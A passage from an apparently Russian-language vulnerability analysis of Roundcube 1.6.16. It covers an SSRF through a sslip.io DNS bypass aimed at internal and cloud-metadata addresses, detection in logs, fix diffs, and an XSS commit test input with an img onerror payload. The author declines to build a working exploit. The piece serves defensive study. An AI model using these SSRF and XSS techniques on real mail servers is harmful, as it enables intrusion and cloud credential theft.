\u043c\u043e\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0438\u0437 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0445\u043e\u0434\u0438\u043b \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0443\u043a\u0430\u0437\u0430\u043b. 404 \u0442\u0443\u0442 \u043d\u0435\u0432\u0430\u0436\u0435\u043d, \u0432\u0430\u0436\u043d\u043e, \u0447\u0442\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c SSRF: \u044f \u043d\u0435 \u0438\u043c\u0435\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u043e \u043f\u0438\u0441\u044c\u043c\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u043b \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0442\u0443\u0434\u0430 \u0437\u0430 \u043c\u0435\u043d\u044f.<\/p>\n<p>\u041d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0435\u0433\u043e \u043f\u0443\u0441\u0442\u043e\u0433\u043e listener\u2019\u0430 \u043c\u043e\u0433 \u0431\u044b\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u0430\u0434\u043c\u0438\u043d\u043a\u0430 \u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0441\u043d\u0430\u0440\u0443\u0436\u0438, \u0431\u0430\u0437\u0430 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u043f\u043e\u0440\u0442\u0443. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0431\u043e\u043b\u044c\u043d\u043e \u0441 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c metadata-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u043e\u043c \u043d\u0430 169.254.169.254: \u043e\u0434\u0438\u043d \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043e\u0442\u0434\u0430\u0451\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u0432\u0441\u0435\u0433\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430. \u042d\u0442\u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0435\u0433\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043a\u0440\u044b\u0432\u0430\u0435\u0442 (169.254 \u0432 \u0431\u043b\u043e\u043a-\u043b\u0438\u0441\u0442\u0435), \u043d\u043e \u0441\u0430\u043c \u043a\u043b\u0430\u0441\u0441 \u0430\u0442\u0430\u043a\u0438 \u0440\u043e\u0432\u043d\u043e \u043f\u0440\u043e \u044d\u0442\u043e, \u0438 \u043b\u044e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u043c\u043e\u0442\u0440 \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0440\u043e\u0433\u0443 \u043a \u043a\u0440\u0435\u0434\u0430\u043c. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0435\u0442\u044c.<\/p>\n<h4>\u041a\u0430\u043a \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0432 \u043b\u043e\u0433\u0430\u0445<\/h4>\n<p>SSRF \u0432 \u0432\u0435\u0431\u043c\u0435\u0439\u043b\u0435 \u0443\u0434\u043e\u0431\u043d\u043e \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0439 \u0441\u043b\u0435\u0434: \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 HTTP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u043e\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d. \u041d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442, \u043d\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0430 php-fpm \u0438\u043b\u0438 apache \u0432\u0430\u0448\u0435\u0433\u043e Roundcube \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441.<\/p>\n<p>\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0434\u043b\u044f \u0430\u043b\u0435\u0440\u0442\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0435: \u043b\u044e\u0431\u043e\u0439 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043a\u043e\u043d\u043d\u0435\u043a\u0442 \u043e\u0442 UID \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0431\u0435\u043b\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 (\u0432\u0430\u0448\u0438 SMTP, IMAP, \u0430\u043f\u0434\u0435\u0439\u0442-\u0441\u0435\u0440\u0432\u0435\u0440\u044b), \u044d\u0442\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442. \u041d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u0430 \u0441\u0442\u0440\u043e\u0447\u043a\u0430 \u0432 \u043b\u043e\u0433\u0435 listener\u2019\u0430 \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c 172.30.0.4, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 IP \u0441\u0430\u043c\u043e\u0433\u043e Roundcube. \u0412 \u043f\u0440\u043e\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u043b\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0430 egress-\u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u0438\u043b\u0438 \u0432 \u043b\u043e\u0433\u0430\u0445 reverse-proxy: \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0432\u0434\u0440\u0443\u0433 \u0441\u0430\u043c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0438\u0445 \u0441\u043b\u0430\u0442\u044c.<\/p>\n<h4>\u0424\u0438\u043a\u0441<\/h4>\n<p>\u0417\u0430\u043f\u043b\u0430\u0442\u043a\u0430 \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443. \u0420\u0430\u0437\u0432\u043e\u0440\u043e\u0442 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445 DNS-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0432\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e nip.io:<\/p>\n<pre><code class=\"php\">- if (preg_match('\/([0-9a-f.-]+)\\.nip\\.io$\/i', $host, $matches)) {+ if (preg_match('\/([0-9a-f.-]+)\\.(nip|sslip)\\.io$\/i', $host, $matches)) {<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041e\u0431\u043d\u043e\u0432\u0438\u043b \u043e\u0431\u0440\u0430\u0437 \u0434\u043e 1.6.17, \u043f\u0435\u0440\u0435\u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0438\u0437 \u0442\u043e\u0433\u043e \u0436\u0435 \u044f\u0449\u0438\u043a\u0430. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u0447\u0442\u043e \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0430 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435:<\/p>\n<pre><code>$ docker exec rc-victim grep -n \"sslip\" ...\/rcube_utils.php447: if (preg_match('\/([0-9a-f.-]+)\\.(nip|sslip)\\.io$\/i', $host, $matches)) {<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041e\u0442\u043a\u0440\u044b\u043b \u043f\u0438\u0441\u044c\u043c\u043e, \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442. \u041b\u043e\u0433 listener\u2019\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f, \u0442\u0430\u043c \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 1.6.16. \u041d\u043e\u0432\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c <code>is_local_url<\/code> \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 <code>172.30.0.3.sslip.io<\/code> \u0432 <code>172.30.0.3<\/code>, \u0432\u0438\u0434\u0438\u0442 \u043f\u043e\u043f\u0430\u0434\u0430\u043d\u0438\u0435 \u0432 <code>172.16.0.0\/12<\/code> \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 true. \u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0438\u043a\u0443\u0434\u0430 \u043d\u0435 \u0438\u0434\u0451\u0442. \u0414\u044b\u0440\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430.<\/p>\n<p>\u0417\u0430\u043e\u0434\u043d\u043e \u0444\u0438\u043a\u0441 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0438 IPv6-\u043e\u0431\u0445\u043e\u0434: \u0431\u044b\u043b\u043e <code>preg_replace('\/^::ffff:\/i', ...)<\/code>, \u0441\u0442\u0430\u043b\u043e <code>\/^[0:]*:ffff:\/i<\/code>, \u0442\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0432\u044f\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432\u0438\u0434\u0430 <code>0:0:0:0:0:ffff:127.0.0.1<\/code>.<\/p>\n<h3>\u0412\u0442\u043e\u0440\u0430\u044f 10.0, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435 \u043f\u043e\u0434\u0436\u0435\u0447\u044c: CVE-2026-54433<\/h3>\n<p>\u0417\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 \u0447\u0435\u0441\u0442\u043d\u043e. \u041f\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0436\u0438\u0432\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442, \u0438 \u044f \u043e\u0431\u044a\u044f\u0441\u043d\u044e \u043f\u043e\u0447\u0435\u043c\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0430\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.<\/p>\n<p>CVE-2026-54433 \u044d\u0442\u043e, \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e, zero-click stored XSS \u0432 \u0440\u0435\u043d\u0434\u0435\u0440\u0435 plain-text \u043f\u0438\u0441\u0435\u043c. \u0417\u0432\u0443\u0447\u0438\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u043d\u043e: \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0442\u0435\u043a\u0441\u0442, \u0433\u0434\u0435 \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u043d\u0435\u0442 HTML, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0447\u0443\u0436\u043e\u0439 JavaScript. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0432 \u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u0438\u0438. \u041a\u043e\u0433\u0434\u0430 Roundcube \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e, \u043e\u043d \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0432 \u043d\u0451\u043c email-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0438\u0445 \u0432 \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0433\u0438. \u0412\u043e\u0442 \u043d\u0430 \u044d\u0442\u043e\u043c \u0448\u0430\u0433\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 HTML \u0438 \u0436\u0438\u0432\u0451\u0442 \u0431\u0430\u0433.<\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u044e \u0444\u0438\u043a\u0441-\u043a\u043e\u043c\u043c\u0438\u0442. \u041e\u043d \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0438 \u043c\u0435\u043d\u044f\u0435\u0442 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0443 \u0434\u043b\u044f query-\u0447\u0430\u0441\u0442\u0438 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 <code>rcube_string_replacer.php<\/code>:<\/p>\n<pre><code class=\"php\">- . \"(\\?[$url1$url2]+)?\"        \/\/ \u0431\u044b\u043b\u043e: \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 ?+ . '(\\?[^&lt;&gt;\\s]+)?'             \/\/ \u0441\u0442\u0430\u043b\u043e: \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u043c &lt; &gt; \u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421\u043c\u044b\u0441\u043b \u043f\u043e\u043d\u044f\u0442\u0435\u043d: \u0440\u0430\u043d\u044c\u0448\u0435 \u0432 \u0445\u0432\u043e\u0441\u0442\u0435 <code>mailto<\/code>-\u0441\u0441\u044b\u043b\u043a\u0438 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443, \u0430 \u043f\u043e\u0441\u043b\u0435 \u0444\u0438\u043a\u0441\u0430 \u0443\u0433\u043b\u043e\u0432\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438 \u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0442\u0430\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b. \u041a \u043a\u043e\u043c\u043c\u0438\u0442\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d \u0442\u0435\u0441\u0442 \u0441 \u0432\u0440\u0435\u0434\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c:<\/p>\n<pre><code>a@a.co?]&lt;img\/src=\"x\"\/onerror=alert(document.domain)&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042f \u043f\u0440\u043e\u0433\u043d\u0430\u043b \u044d\u0442\u043e\u0442 \u0432\u0445\u043e\u0434 \u043d\u0430 \u0436\u0438\u0432\u043e\u043c 1.6.16 \u0447\u0435\u0440\u0435\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 HTML:<\/p>\n<pre><code>&lt;a href=\"mailto:a@a.co?\"&gt;a@a.co?&lt;\/a&gt;]&amp;lt;img\/src=\"x\"\/onerror=alert(document.domain)&amp;gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c <code>&lt;img&gt;<\/code> \u0437\u0430\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u0430\u0436\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0420\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0441\u044f \u043f\u043e\u0447\u0435\u043c\u0443. \u0417\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430, \u043d\u043e \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>parse_url_brackets<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043e\u0442\u0440\u0435\u0437\u0430\u0435\u0442 \u043e\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0435\u043f\u0430\u0440\u043d\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f <code>]<\/code>. \u0412 \u0438\u0442\u043e\u0433\u0435 <code>]<\/code> \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0445\u0432\u043e\u0441\u0442, \u0430 <code>&lt;img&gt;<\/code> \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u0445\u043e\u0434 \u0438\u0437 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0444\u0438\u043a\u0441\u0430, \u043d\u043e \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c.<\/p>\n<p>\u042d\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f. \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0442\u0435\u0441\u0442 \u043a \u0444\u0438\u043a\u0441\u0443 \u0440\u0435\u0434\u043a\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0431\u043e\u0435\u0432\u044b\u043c payload. \u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0430\u0448\u0435\u0434\u0448\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c (\u0432 credits \u044d\u0442\u043e Bohdan Kurinnoy \u0438\u0437 Samsung R&amp;D Institute Ukraine), \u0438 \u0434\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u0435\u0433\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0432\u043e\u043e\u0440\u0443\u0436\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0421\u043e\u0431\u0440\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0434\u0438\u0444\u0444\u0430 \u043c\u043e\u0436\u043d\u043e, \u043d\u043e \u044d\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u0440\u043e\u043f\u043e\u0442\u043b\u0438\u0432\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a\u043e\u043c, \u0438 \u043f\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u043e\u0433\u0430\u0434\u043a\u0443 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044f \u043d\u0435 \u0431\u0443\u0434\u0443. \u0427\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u0442\u0432\u0451\u0440\u0434\u043e: \u0431\u0430\u0433 \u0432 \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a\u0435 plain-text \u0440\u0435\u0430\u043b\u0435\u043d, \u043a\u043b\u0430\u0441\u0441 \u0443 \u043d\u0435\u0433\u043e XSS, \u0447\u0438\u043d\u0438\u0442\u0441\u044f \u0441\u0443\u0436\u0435\u043d\u0438\u0435\u043c \u043d\u0430\u0431\u043e\u0440\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0427\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c: \u0447\u0442\u043e \u0432\u043e\u0442 \u044d\u0442\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u0437 advisory \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043a\u043e\u0433\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0435\u0442.<\/p>\n<h3>\u042d\u0442\u043e \u043d\u0435 \u043e\u0434\u043d\u0430 \u0434\u044b\u0440\u0430, \u044d\u0442\u043e \u0432\u0435\u0441\u044c \u043a\u043b\u0430\u0441\u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c<\/h3>\n<p>\u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0440\u0435\u043b\u0438\u0437 1.6.17 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0447\u0438\u043d\u0438\u043b\u0438 \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0443, \u0430 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u043b\u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c.<\/p>\n<ul>\n<li>\n<p>CVE-2026-54432, \u0435\u0449\u0451 \u043e\u0434\u0438\u043d stored XSS, \u043d\u043e \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 MIME-\u0442\u0438\u043f \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0442\u0438\u043f 